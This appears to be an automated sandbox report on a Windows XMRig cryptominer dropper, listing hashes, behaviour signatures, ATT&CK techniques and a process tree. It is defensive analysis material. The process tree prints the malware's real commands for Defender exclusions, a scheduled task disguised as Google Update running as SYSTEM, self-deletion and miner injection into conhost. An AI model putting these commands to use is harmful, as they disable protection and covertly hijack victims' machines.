xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
341s
max time network
1788s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1072 created 1260	1072	UU4Ddwqm5zcuLzGR.exe	19
PID 1072 created 1260	1072	UU4Ddwqm5zcuLzGR.exe	19
PID 1072 created 1260	1072	UU4Ddwqm5zcuLzGR.exe	19
PID 1072 created 1260	1072	UU4Ddwqm5zcuLzGR.exe	19
PID 2904 created 1260	2904	updater.exe	19
PID 2904 created 1260	2904	updater.exe	19
PID 2904 created 1260	2904	updater.exe	19
PID 2904 created 1260	2904	updater.exe	19
PID 2572 created 1260	2572	conhost.exe	19
PID 2904 created 1260	2904	updater.exe	19

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral25/memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral25/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2616	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2904	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2928	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral25/memory/2100-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral25/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 2572	2904	updater.exe	50
PID 2904 set thread context of 2100	2904	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	UU4Ddwqm5zcuLzGR.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2640	schtasks.exe
676	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1516	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 006b0e263f4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1072	UU4Ddwqm5zcuLzGR.exe
1072	UU4Ddwqm5zcuLzGR.exe
2392	powershell.exe
1072	UU4Ddwqm5zcuLzGR.exe
1072	UU4Ddwqm5zcuLzGR.exe
2280	powershell.exe
1072	UU4Ddwqm5zcuLzGR.exe
1072	UU4Ddwqm5zcuLzGR.exe
1072	UU4Ddwqm5zcuLzGR.exe
1072	UU4Ddwqm5zcuLzGR.exe
2600	powershell.exe
2904	updater.exe
2904	updater.exe
2040	powershell.exe
2904	updater.exe
2904	updater.exe
1664	powershell.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe
2904	updater.exe
2572	conhost.exe
2572	conhost.exe
2904	updater.exe
2904	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	2904	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: SeLockMemoryPrivilege	2100	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2640	2280	powershell.exe	32
PID 2280 wrote to memory of 2640	2280	powershell.exe	32
PID 2280 wrote to memory of 2640	2280	powershell.exe	32
PID 2616 wrote to memory of 1240	2616	cmd.exe	33
PID 2616 wrote to memory of 1240	2616	cmd.exe	33
PID 2616 wrote to memory of 1240	2616	cmd.exe	33
PID 2600 wrote to memory of 2760	2600	powershell.exe	38
PID 2600 wrote to memory of 2760	2600	powershell.exe	38
PID 2600 wrote to memory of 2760	2600	powershell.exe	38
PID 2928 wrote to memory of 2904	2928	taskeng.exe	40
PID 2928 wrote to memory of 2904	2928	taskeng.exe	40
PID 2928 wrote to memory of 2904	2928	taskeng.exe	40
PID 1664 wrote to memory of 676	1664	powershell.exe	45
PID 1664 wrote to memory of 676	1664	powershell.exe	45
PID 1664 wrote to memory of 676	1664	powershell.exe	45
PID 2904 wrote to memory of 2572	2904	updater.exe	50
PID 1180 wrote to memory of 1516	1180	cmd.exe	51
PID 1180 wrote to memory of 1516	1180	cmd.exe	51
PID 1180 wrote to memory of 1516	1180	cmd.exe	51
PID 2904 wrote to memory of 2100	2904	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2640
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:676
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2868
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2572
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1240

C:\Windows\system32\taskeng.exe
taskeng.exe {7DE55AE3-9FE6-4D74-8204-2BA9E605BE85} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
222KB

MD5
f8fe7cbfec567d13cc9ed857fab5a041

SHA1
1a3cc2c58dceaa99d90cad6e51e18acf313092ac

SHA256
394cc9ffa7cbe0343acda056dbbd8789625c179b0e7ae725b4c3565c0a9dfdc3

SHA512
8e9eebff00c0df1fce25cca862fc9860d3ba38bed13313ed5bfbaeb2edd51ae1cfac0ccaed853a5099370a4b575ddf6ceaad6154c64aa0b462e79a973b8dc9a2

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
116KB

MD5
e68b11be3ea6c1c61d696748af490cf4

SHA1
2fae0eaca251c85c4d103e58283894272ad51dfb

SHA256
0aea76b638bd0b409dca3af8b6451eeea918c71ad03f4b5a4e80656cbe29daab

SHA512
390fa33e4d07c20bb73b3f21f1c6ced1f57bb9b639e9cef7cd5cb653ff3f6367ee2e89b9e21fa5fc32027ff912a10b54ea452d2b7d86782f46f9efdc2abff066

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ebca519ce6a15d3ba9ed182762276ae7

SHA1
1a66063b69731c430f2083570e0a49ba26dcf39f

SHA256
645ae55e5528dc66b910b0f5cfaaa3b46f74cac5f73cea51b0138480d636f7cd

SHA512
f4be3072697561e757d371b2b291e3e54cf7297e132d2ecd93ee35738cef23a6710e1b530bf4448ae63a1ce5a28ef2150b416224552032779668f72f1cbee8c1

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
317KB

MD5
6d6130bd5adc633b0424b56b3f2797ad

SHA1
7e5e9911107df2bcc9ed87026ed0a8f838a1e88a

SHA256
bc8a5e4b76075e5b66254061279ceeb20195f287b901f247181148c2cbfffb20

SHA512
dbbe094f9ee8c01ae743e7a732134a1028558a258b0abd75b9ec451c8be052a6773c19d3d099c12e483d3e7626411a9d1e1b6f3d6e94150a65658a61e3dfb62d

Download Submit
memory/1072-0-0x000000013F700000-0x000000013F911000-memory.dmp

Filesize
2.1MB

Download
memory/1072-28-0x000000013F700000-0x000000013F911000-memory.dmp

Filesize
2.1MB

Download
memory/1664-54-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/1664-53-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/1664-56-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/1664-52-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/1664-55-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/1664-57-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/1664-58-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2040-48-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2040-49-0x000000000114B000-0x00000000011B2000-memory.dmp

Filesize
412KB

Download
memory/2040-51-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2040-50-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2040-47-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2040-46-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-78-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/2100-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2100-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-68-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/2100-69-0x0000000000BE0000-0x0000000000C00000-memory.dmp

Filesize
128KB

Download
memory/2100-79-0x0000000000BE0000-0x0000000000C00000-memory.dmp

Filesize
128KB

Download
memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2280-20-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2280-26-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2280-25-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2280-24-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2280-23-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

Filesize
9.6MB

Download
memory/2280-19-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download
memory/2280-22-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2280-21-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2392-5-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2392-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2392-12-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2392-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2392-13-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
